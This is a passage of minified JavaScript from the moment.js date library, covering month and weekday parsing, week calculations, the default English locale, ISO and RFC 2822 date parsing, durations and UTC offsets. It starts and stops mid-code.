Me="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),De="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),Se=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Ye=ce,Oe=ce;function be(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=f([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=ye.call(this._shortMonthsParse,a))?i:null:-1!==(i=ye.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=ye.call(this._shortMonthsParse,a))||-1!==(i=ye.call(this._longMonthsParse,a))?i:null:-1!==(i=ye.call(this._longMonthsParse,a))||-1!==(i=ye.call(this._shortMonthsParse,a))?i:null}function Te(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=z(t);else if(!l(t=e.localeData().monthsParse(t)))return e;return n=Math.min(e.date(),ke(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function xe(e){return null!=e?(Te(this,e),s.updateOffset(this,!0),this):J(this,"Month")}function Ne(){function e(e,t){return t.length-e.length}var t,n,s=[],i=[],r=[];for(t=0;t<12;t++)n=f([2e3,t]),s.push(this.monthsShort(n,"")),i.push(this.months(n,"")),r.push(this.months(n,"")),r.push(this.monthsShort(n,""));for(s.sort(e),i.sort(e),r.sort(e),t=0;t<12;t++)s[t]=_e(s[t]),i[t]=_e(i[t]);for(t=0;t<24;t++)r[t]=_e(r[t]);this._monthsRegex=new RegExp("^("+r.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+s.join("|")+")","i")}function Pe(e){return I(e)?366:365}U("Y",0,0,(function(){var e=this.year();return e<=9999?N(e,4):"+"+e})),U(0,["YY",2],0,(function(){return this.year()%100})),U(0,["YYYY",4],0,"year"),U(0,["YYYYY",5],0,"year"),U(0,["YYYYYY",6,!0],0,"year"),V("year","y"),j("year",1),fe("Y",le),fe("YY",ne,X),fe("YYYY",ae,ee),fe("YYYYY",oe,te),fe("YYYYYY",oe,te),we(["YYYYY","YYYYYY"],0),we("YYYY",(function(e,t){t[0]=2===e.length?s.parseTwoDigitYear(e):z(e)})),we("YY",(function(e,t){t[0]=s.parseTwoDigitYear(e)})),we("Y",(function(e,t){t[0]=parseInt(e,10)})),s.parseTwoDigitYear=function(e){return z(e)+(z(e)>68?1900:2e3)};var Re=$("FullYear",!0);function We(e,t,n,s,i,r,a){var o;return e<100&&e>=0?(o=new Date(e+400,t,n,s,i,r,a),isFinite(o.getFullYear())&&o.setFullYear(e)):o=new Date(e,t,n,s,i,r,a),o}function Ce(e){var t,n;return e<100&&e>=0?((n=Array.prototype.slice.call(arguments))[0]=e+400,t=new Date(Date.UTC.apply(null,n)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e)):t=new Date(Date.UTC.apply(null,arguments)),t}function Ue(e,t,n){var s=7+t-n;return-(7+Ce(e,0,s).getUTCDay()-t)%7+s-1}function He(e,t,n,s,i){var r,a,o=1+7*(t-1)+(7+n-s)%7+Ue(e,s,i);return o<=0?a=Pe(r=e-1)+o:o>Pe(e)?(r=e+1,a=o-Pe(e)):(r=e,a=o),{year:r,dayOfYear:a}}function Fe(e,t,n){var s,i,r=Ue(e.year(),t,n),a=Math.floor((e.dayOfYear()-r-1)/7)+1;return a<1?s=a+Le(i=e.year()-1,t,n):a>Le(e.year(),t,n)?(s=a-Le(e.year(),t,n),i=e.year()+1):(i=e.year(),s=a),{week:s,year:i}}function Le(e,t,n){var s=Ue(e,t,n),i=Ue(e+1,t,n);return(Pe(e)-s+i)/7}function Ve(e,t){return e.slice(t,7).concat(e.slice(0,t))}U("w",["ww",2],"wo","week"),U("W",["WW",2],"Wo","isoWeek"),V("week","w"),V("isoWeek","W"),j("week",5),j("isoWeek",5),fe("w",ne),fe("ww",ne,X),fe("W",ne),fe("WW",ne,X),pe(["w","ww","W","WW"],(function(e,t,n,s){t[s.substr(0,1)]=z(e)})),U("d",0,"do","day"),U("dd",0,0,(function(e){return this.localeData().weekdaysMin(this,e)})),U("ddd",0,0,(function(e){return this.localeData().weekdaysShort(this,e)})),U("dddd",0,0,(function(e){return this.localeData().weekdays(this,e)})),U("e",0,0,"weekday"),U("E",0,0,"isoWeekday"),V("day","d"),V("weekday","e"),V("isoWeekday","E"),j("day",11),j("weekday",11),j("isoWeekday",11),fe("d",ne),fe("e",ne),fe("E",ne),fe("dd",(function(e,t){return t.weekdaysMinRegex(e)})),fe("ddd",(function(e,t){return t.weekdaysShortRegex(e)})),fe("dddd",(function(e,t){return t.weekdaysRegex(e)})),pe(["dd","ddd","dddd"],(function(e,t,n,s){var i=n._locale.weekdaysParse(e,s,n._strict);null!=i?t.d=i:m(n).invalidWeekday=e})),pe(["d","e","E"],(function(e,t,n,s){t[s]=z(e)}));var Ee="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Ge="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Ae="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),je=ce,Ie=ce,Ze=ce;function ze(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=f([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=ye.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=ye.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=ye.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=ye.call(this._weekdaysParse,a))||-1!==(i=ye.call(this._shortWeekdaysParse,a))||-1!==(i=ye.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=ye.call(this._shortWeekdaysParse,a))||-1!==(i=ye.call(this._weekdaysParse,a))||-1!==(i=ye.call(this._minWeekdaysParse,a))?i:null:-1!==(i=ye.call(this._minWeekdaysParse,a))||-1!==(i=ye.call(this._weekdaysParse,a))||-1!==(i=ye.call(this._shortWeekdaysParse,a))?i:null}function $e(){function e(e,t){return t.length-e.length}var t,n,s,i,r,a=[],o=[],u=[],l=[];for(t=0;t<7;t++)n=f([2e3,1]).day(t),s=_e(this.weekdaysMin(n,"")),i=_e(this.weekdaysShort(n,"")),r=_e(this.weekdays(n,"")),a.push(s),o.push(i),u.push(r),l.push(s),l.push(i),l.push(r);a.sort(e),o.sort(e),u.sort(e),l.sort(e),this._weekdaysRegex=new RegExp("^("+l.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+a.join("|")+")","i")}function Je(){return this.hours()%12||12}function qe(e,t){U(e,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)}))}function Be(e,t){return t._meridiemParse}U("H",["HH",2],0,"hour"),U("h",["hh",2],0,Je),U("k",["kk",2],0,(function(){return this.hours()||24})),U("hmm",0,0,(function(){return""+Je.apply(this)+N(this.minutes(),2)})),U("hmmss",0,0,(function(){return""+Je.apply(this)+N(this.minutes(),2)+N(this.seconds(),2)})),U("Hmm",0,0,(function(){return""+this.hours()+N(this.minutes(),2)})),U("Hmmss",0,0,(function(){return""+this.hours()+N(this.minutes(),2)+N(this.seconds(),2)})),qe("a",!0),qe("A",!1),V("hour","h"),j("hour",13),fe("a",Be),fe("A",Be),fe("H",ne),fe("h",ne),fe("k",ne),fe("HH",ne,X),fe("hh",ne,X),fe("kk",ne,X),fe("hmm",se),fe("hmmss",ie),fe("Hmm",se),fe("Hmmss",ie),we(["H","HH"],3),we(["k","kk"],(function(e,t,n){var s=z(e);t[3]=24===s?0:s})),we(["a","A"],(function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e})),we(["h","hh"],(function(e,t,n){t[3]=z(e),m(n).bigHour=!0})),we("hmm",(function(e,t,n){var s=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s)),m(n).bigHour=!0})),we("hmmss",(function(e,t,n){var s=e.length-4,i=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s,2)),t[5]=z(e.substr(i)),m(n).bigHour=!0})),we("Hmm",(function(e,t,n){var s=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s))})),we("Hmmss",(function(e,t,n){var s=e.length-4,i=e.length-2;t[3]=z(e.substr(0,s)),t[4]=z(e.substr(s,2)),t[5]=z(e.substr(i))}));var Qe,Xe=$("Hours",!0),Ke={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Me,monthsShort:De,week:{dow:0,doy:6},weekdays:Ee,weekdaysMin:Ae,weekdaysShort:Ge,meridiemParse:/[ap]\.?m?\.?/i},et={},tt={};function nt(e,t){var n,s=Math.min(e.length,t.length);for(n=0;n<s;n+=1)if(e[n]!==t[n])return n;return s}function st(e){return e?e.toLowerCase().replace("_","-"):e}function it(t){var n=null;if(void 0===et[t]&&void 0!==e&&e&&e.exports)try{n=Qe._abbr,function(){var e=new Error("Cannot find module 'undefined'");throw e.code="MODULE_NOT_FOUND",e}(),rt(n)}catch(e){et[t]=null}return et[t]}function rt(e,t){var n;return e&&((n=u(t)?ot(e):at(e,t))?Qe=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),Qe._abbr}function at(e,t){if(null!==t){var n,s=Ke;if(t.abbr=e,null!=et[e])O("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),s=et[e]._config;else if(null!=t.parentLocale)if(null!=et[t.parentLocale])s=et[t.parentLocale]._config;else{if(null==(n=it(t.parentLocale)))return tt[t.parentLocale]||(tt[t.parentLocale]=[]),tt[t.parentLocale].push({name:e,config:t}),null;s=n._config}return et[e]=new x(T(s,t)),tt[e]&&tt[e].forEach((function(e){at(e.name,e.config)})),rt(e),et[e]}return delete et[e],null}function ot(e){var t;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return Qe;if(!i(e)){if(t=it(e))return t;e=[e]}return function(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=st(e[r]).split("-")).length,n=(n=st(e[r+1]))?n.split("-"):null;t>0;){if(s=it(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&nt(i,n)>=t-1)break;t--}r++}return Qe}(e)}function ut(e){var t,n=e._a;return n&&-2===m(e).overflow&&(t=n[1]<0||n[1]>11?1:n[2]<1||n[2]>ke(n[0],n[1])?2:n[3]<0||n[3]>24||24===n[3]&&(0!==n[4]||0!==n[5]||0!==n[6])?3:n[4]<0||n[4]>59?4:n[5]<0||n[5]>59?5:n[6]<0||n[6]>999?6:-1,m(e)._overflowDayOfYear&&(t<0||t>2)&&(t=2),m(e)._overflowWeeks&&-1===t&&(t=7),m(e)._overflowWeekday&&-1===t&&(t=8),m(e).overflow=t),e}var lt=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ht=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,dt=/Z|[+-]\d\d(?::?\d\d)?/,ct=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],ft=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],mt=/^\/?Date\((-?\d+)/i,_t=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,yt={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function gt(e){var t,n,s,i,r,a,o=e._i,u=lt.exec(o)||ht.exec(o);if(u){for(m(e).iso=!0,t=0,n=ct.length;t<n;t++)if(ct[t][1].exec(u[1])){i=ct[t][0],s=!1!==ct[t][2];break}if(null==i)return void(e._isValid=!1);if(u[3]){for(t=0,n=ft.length;t<n;t++)if(ft[t][1].exec(u[3])){r=(u[2]||" ")+ft[t][0];break}if(null==r)return void(e._isValid=!1)}if(!s&&null!=r)return void(e._isValid=!1);if(u[4]){if(!dt.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),Mt(e)}else e._isValid=!1}function wt(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}function pt(e){var t,n,s,i,r,a,o,u,l=_t.exec(e._i.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,""));if(l){if(n=l[4],s=l[3],i=l[2],r=l[5],a=l[6],o=l[7],u=[wt(n),De.indexOf(s),parseInt(i,10),parseInt(r,10),parseInt(a,10)],o&&u.push(parseInt(o,10)),t=u,!function(e,t,n){return!e||Ge.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(m(n).weekdayMismatch=!0,n._isValid=!1,!1)}(l[1],t,e))return;e._a=t,e._tzm=function(e,t,n){if(e)return yt[e];if(t)return 0;var s=parseInt(n,10),i=s%100;return(s-i)/100*60+i}(l[8],l[9],l[10]),e._d=Ce.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),m(e).rfc2822=!0}else e._isValid=!1}function vt(e,t,n){return null!=e?e:null!=t?t:n}function kt(e){var t,n,i,r,a,o=[];if(!e._d){for(i=function(e){var t=new Date(s.now());return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}(e),e._w&&null==e._a[2]&&null==e._a[1]&&function(e){var t,n,s,i,r,a,o,u,l;null!=(t=e._w).GG||null!=t.W||null!=t.E?(r=1,a=4,n=vt(t.GG,e._a[0],Fe(Yt(),1,4).year),s=vt(t.W,1),((i=vt(t.E,1))<1||i>7)&&(u=!0)):(r=e._locale._week.dow,a=e._locale._week.doy,l=Fe(Yt(),r,a),n=vt(t.gg,e._a[0],l.year),s=vt(t.w,l.week),null!=t.d?((i=t.d)<0||i>6)&&(u=!0):null!=t.e?(i=t.e+r,(t.e<0||t.e>6)&&(u=!0)):i=r),s<1||s>Le(n,r,a)?m(e)._overflowWeeks=!0:null!=u?m(e)._overflowWeekday=!0:(o=He(n,s,i,r,a),e._a[0]=o.year,e._dayOfYear=o.dayOfYear)}(e),null!=e._dayOfYear&&(a=vt(e._a[0],i[0]),(e._dayOfYear>Pe(a)||0===e._dayOfYear)&&(m(e)._overflowDayOfYear=!0),n=Ce(a,0,e._dayOfYear),e._a[1]=n.getUTCMonth(),e._a[2]=n.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=o[t]=i[t];for(;t<7;t++)e._a[t]=o[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[3]&&0===e._a[4]&&0===e._a[5]&&0===e._a[6]&&(e._nextDay=!0,e._a[3]=0),e._d=(e._useUTC?Ce:We).apply(null,o),r=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[3]=24),e._w&&void 0!==e._w.d&&e._w.d!==r&&(m(e).weekdayMismatch=!0)}}function Mt(e){if(e._f!==s.ISO_8601)if(e._f!==s.RFC_2822){e._a=[],m(e).empty=!0;var t,n,i,r,a,o,u=""+e._i,l=u.length,h=0;for(i=F(e._f,e._locale).match(P)||[],t=0;t<i.length;t++)r=i[t],(n=(u.match(me(r,e))||[])[0])&&((a=u.substr(0,u.indexOf(n))).length>0&&m(e).unusedInput.push(a),u=u.slice(u.indexOf(n)+n.length),h+=n.length),C[r]?(n?m(e).empty=!1:m(e).unusedTokens.push(r),ve(r,n,e)):e._strict&&!n&&m(e).unusedTokens.push(r);m(e).charsLeftOver=l-h,u.length>0&&m(e).unusedInput.push(u),e._a[3]<=12&&!0===m(e).bigHour&&e._a[3]>0&&(m(e).bigHour=void 0),m(e).parsedDateParts=e._a.slice(0),m(e).meridiem=e._meridiem,e._a[3]=function(e,t,n){var s;return null==n?t:null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((s=e.isPM(n))&&t<12&&(t+=12),s||12!==t||(t=0),t):t}(e._locale,e._a[3],e._meridiem),null!==(o=m(e).era)&&(e._a[0]=e._locale.erasConvertYear(o,e._a[0])),kt(e),ut(e)}else pt(e);else gt(e)}function Dt(e){var t=e._i,n=e._f;return e._locale=e._locale||ot(e._l),null===t||void 0===n&&""===t?y({nullInput:!0}):("string"==typeof t&&(e._i=t=e._locale.preparse(t)),k(t)?new v(ut(t)):(h(t)?e._d=t:i(n)?function(e){var t,n,s,i,r,a,o=!1;if(0===e._f.length)return m(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)r=0,a=!1,t=p({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],Mt(t),_(t)&&(a=!0),r+=m(t).charsLeftOver,r+=10*m(t).unusedTokens.length,m(t).score=r,o?r<s&&(s=r,n=t):(null==s||r<s||a)&&(s=r,n=t,a&&(o=!0));c(e,n||t)}(e):n?Mt(e):function(e){var t=e._i;u(t)?e._d=new Date(s.now()):h(t)?e._d=new Date(t.valueOf()):"string"==typeof t?function(e){var t=mt.exec(e._i);null===t?(gt(e),!1===e._isValid&&(delete e._isValid,pt(e),!1===e._isValid&&(delete e._isValid,e._strict?e._isValid=!1:s.createFromInputFallback(e)))):e._d=new Date(+t[1])}(e):i(t)?(e._a=d(t.slice(0),(function(e){return parseInt(e,10)})),kt(e)):r(t)?function(e){if(!e._d){var t=G(e._i),n=void 0===t.day?t.date:t.day;e._a=d([t.year,t.month,n,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),kt(e)}}(e):l(t)?e._d=new Date(t):s.createFromInputFallback(e)}(e),_(e)||(e._d=null),e))}function St(e,t,n,s,a){var u,l={};return!0!==t&&!1!==t||(s=t,t=void 0),!0!==n&&!1!==n||(s=n,n=void 0),(r(e)&&o(e)||i(e)&&0===e.length)&&(e=void 0),l._isAMomentObject=!0,l._useUTC=l._isUTC=a,l._l=n,l._i=e,l._f=t,l._strict=s,(u=new v(ut(Dt(l))))._nextDay&&(u.add(1,"d"),u._nextDay=void 0),u}function Yt(e,t,n,s){return St(e,t,n,s,!1)}s.createFromInputFallback=D("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),s.ISO_8601=function(){},s.RFC_2822=function(){};var Ot=D("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Yt.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:y()})),bt=D("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=Yt.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:y()}));function Tt(e,t){var n,s;if(1===t.length&&i(t[0])&&(t=t[0]),!t.length)return Yt();for(n=t[0],s=1;s<t.length;++s)t[s].isValid()&&!t[s][e](n)||(n=t[s]);return n}var xt=["year","quarter","month","week","day","hour","minute","second","millisecond"];function Nt(e){var t=G(e),n=t.year||0,s=t.quarter||0,i=t.month||0,r=t.week||t.isoWeek||0,o=t.day||0,u=t.hour||0,l=t.minute||0,h=t.second||0,d=t.millisecond||0;this._isValid=function(e){var t,n,s=!1;for(t in e)if(a(e,t)&&(-1===ye.call(xt,t)||null!=e[t]&&isNaN(e[t])))return!1;for(n=0;n<xt.length;++n)if(e[xt[n]]){if(s)return!1;parseFloat(e[xt[n]])!==z(e[xt[n]])&&(s=!0)}return!0}(t),this._milliseconds=+d+1e3*h+6e4*l+1e3*u*60*60,this._days=+o+7*r,this._months=+i+3*s+12*n,this._data={},this._locale=ot(),this._bubble()}function Pt(e){return e instanceof Nt}function Rt(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function Wt(e,t){U(e,0,0,(function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+N(~~(e/60),2)+t+N(~~e%60,2)}))}Wt("Z",":"),Wt("ZZ",""),fe("Z",de),fe("ZZ",de),we(["Z","ZZ"],(function(e,t,n){n._useUTC=!0,n._tzm=Ut(de,e)}));var Ct=/([\+\-]|\d\d)/gi;function Ut(e,t){var n,s,i=(t||"").match(e);return null===i?null:0===(s=60*(n=((i[i.length-1]||[])+"").match(Ct)||["-",0,0])[1]+z(n[2]))?0:"+"===n[0]?s:-s}function Ht(e,t){var n,i;return t._isUTC?(n=t.clone(),i=(k(e)||h(e)?e.valueOf():Yt(e).valueOf())-n.valueOf(),n._d.setTime(n._d.valueOf()+i),s.updateOffset(n,!1),n):Yt(e).local()}function Ft(e){return-Math.round(e._d.getTimezoneOffset())}function Lt(){return!!this.isValid()&&this._isUTC&&0===this._offset}s.updateOffset=function(){};var Vt=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,Et=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function Gt(e,t){var n,s,i,r,o,u,h=e,d=null;return Pt(e)?h={ms:e._milliseconds,d:e._days,M:e._months}:l(e)||!isNaN(+e)?(h={},t?h[t]=+e:h.milliseconds=+e):(d=Vt.exec(e))?(n="-"===d[1]?-1:1,h={y:0,d:z(d[2])*n,h:z(d[3])*n,m:z(d[4])*n,s:z(d[5])*n,ms:z(Rt(1e3*d[6]))*n}):(d=Et.exec(e))?(n="-"===d[1]?-1:1,h={y:At(d[2],n),M:At(d[3],n),w:At(d[4],n),d:At(d[5],n),h:At(d[6],n),m:At(d[7],n),s:At(d[8],n)}):null==h?h={}:"object"==typeof h&&("from"in h||"to"in h)&&(r=Yt(h.from),o=Yt(h.to),i=r.isValid()&&o.isValid()?(o=Ht(o,r),r.isBefore(o)?u=jt(r,o):((u=jt(o,r)).milliseconds=-u.milliseconds,u.months=-u.months),u):{milliseconds:0,months:0},(h={}).ms=i.milliseconds,h.M=i.months),s=new Nt(h),Pt(e)&&a(e,"_locale")&&(s._locale=e._locale),Pt(e)&&a(e,"_isValid")&&(s._isValid=e._isValid),s}function At(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function jt(e,t){var n={};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function It(e,t){return function(n,s){var i;return null===s||isNaN(+s)||(O(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=n,n=s,s=i),Zt(this,Gt(n,s),e),this}}function Zt(e,t,n,i){var r=t._milliseconds,a=Rt(t._days),o=Rt(t._months);e.isValid()&&(i=null==i||i,o&&Te(e,J(e,"Month")+o*n),a&&q(e,"Date",J(e,"Date")+a*n),r&&e._d.setTime(e._d.valueOf()+r*n),i&&s.updateOffset(e,a||o))}Gt.fn=Nt.prototype,Gt.invalid=function(){return Gt(NaN)};var zt=It(1,"add"),$t=It(-1,"subtract");function Jt(e){return"string"==typeof e||e instanceof String}function qt(e){return k(e)||h(e)||Jt(e)||l(e)||function(e){var t=i(e),n=!1;return t&&(n=0===e.filter((function(t){return!l(t)&&Jt(e)})).length),t&&n}(e)||function(e){var t,n,s=r(e)&&!o(e),i=!1,u=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<u.length;t+=1)n=u[t],i=i||a(e,n);return s&&i}(e)||null==e}function Bt(e){var t,n=r(e)&&!o(e),s=!1,i=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<i.length;t+=1)s=s||a(e,i[t]);return n&&s}function Qt(e,t){if(e.date()<t.date())return-Qt(t,e);var n=12*(t.year()-e.year())+(t.month()-e.month()),s=e.clone().add(n,"months");return-(n+(t-s<0?(t-s)/(s-e.clone().add(n-1,"months")):(t-s)/(e.clone().add(n+1,"months")-s)))||0}function Xt(e){var t;return void 0===e?this._locale._abbr:(null!=(t=ot(e))&&(this._locale=t),this)}s.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",s.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var Kt=D("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function en(){return this._locale}function tn(e,t){return(e%t+t)%t}function nn(e,t,n){return e<100&&e>=0?new Date(e+400,t,n)-126227808e5:new Date(e,t,n).valueOf()}function sn(e,t,n){return e<100&&e>=0?Date.UTC(e+400,t,n)-126227808e5:Date.UTC(e,t,n)}function rn(e,t){return t.erasAbbrRegex(e)}function an(){var e,t,n=[],s=[],i=[],r=[],a=this.eras();for(e=0,t=a.length;e<t;++e)s.push(_e(a[e].name)),n.push(_e(a[e].abbr)),i.push(_e(a[e].narrow)),r.push(_e(a[e].name)),r.push(_e(a[e].abbr)),r.push(_e(a[e].narrow));this._erasRegex=new RegExp("^("+r.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+s.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+n.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+i.join("|")+")","i")}function on(e,t){U(0,[e,e.length],0,t)}function un(e,t,n,s,i){var r;return null==e?Fe(this,s,i).year:(t>(r=Le(e,s,i))&&(t=r),ln.call(this,e,t,n,s,i))}function ln(e,t,n,s,i){var r=He(e,t,n,s,i),a=Ce(r.year,0,r.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}U("N",0,0,"eraAbbr"),U("NN",0,0,"eraAbbr"),U("NNN",0,0,"eraAbbr"),U("NNNN",0,0,"eraName"),U("NNNNN",0,0,"eraNarrow"),U("y",["y",1],"yo","eraYear"),U("y",["yy",2],0,"eraYear"),U("y",["yyy",3],0,"eraYear"),U("y",["yyyy",4],0,"eraYear"),fe("N",rn),fe("NN",rn),fe("NNN",rn),fe("NNNN",(function(e,t){return t.erasNameRegex(e)})),fe("NNNNN",(function(e,t){return 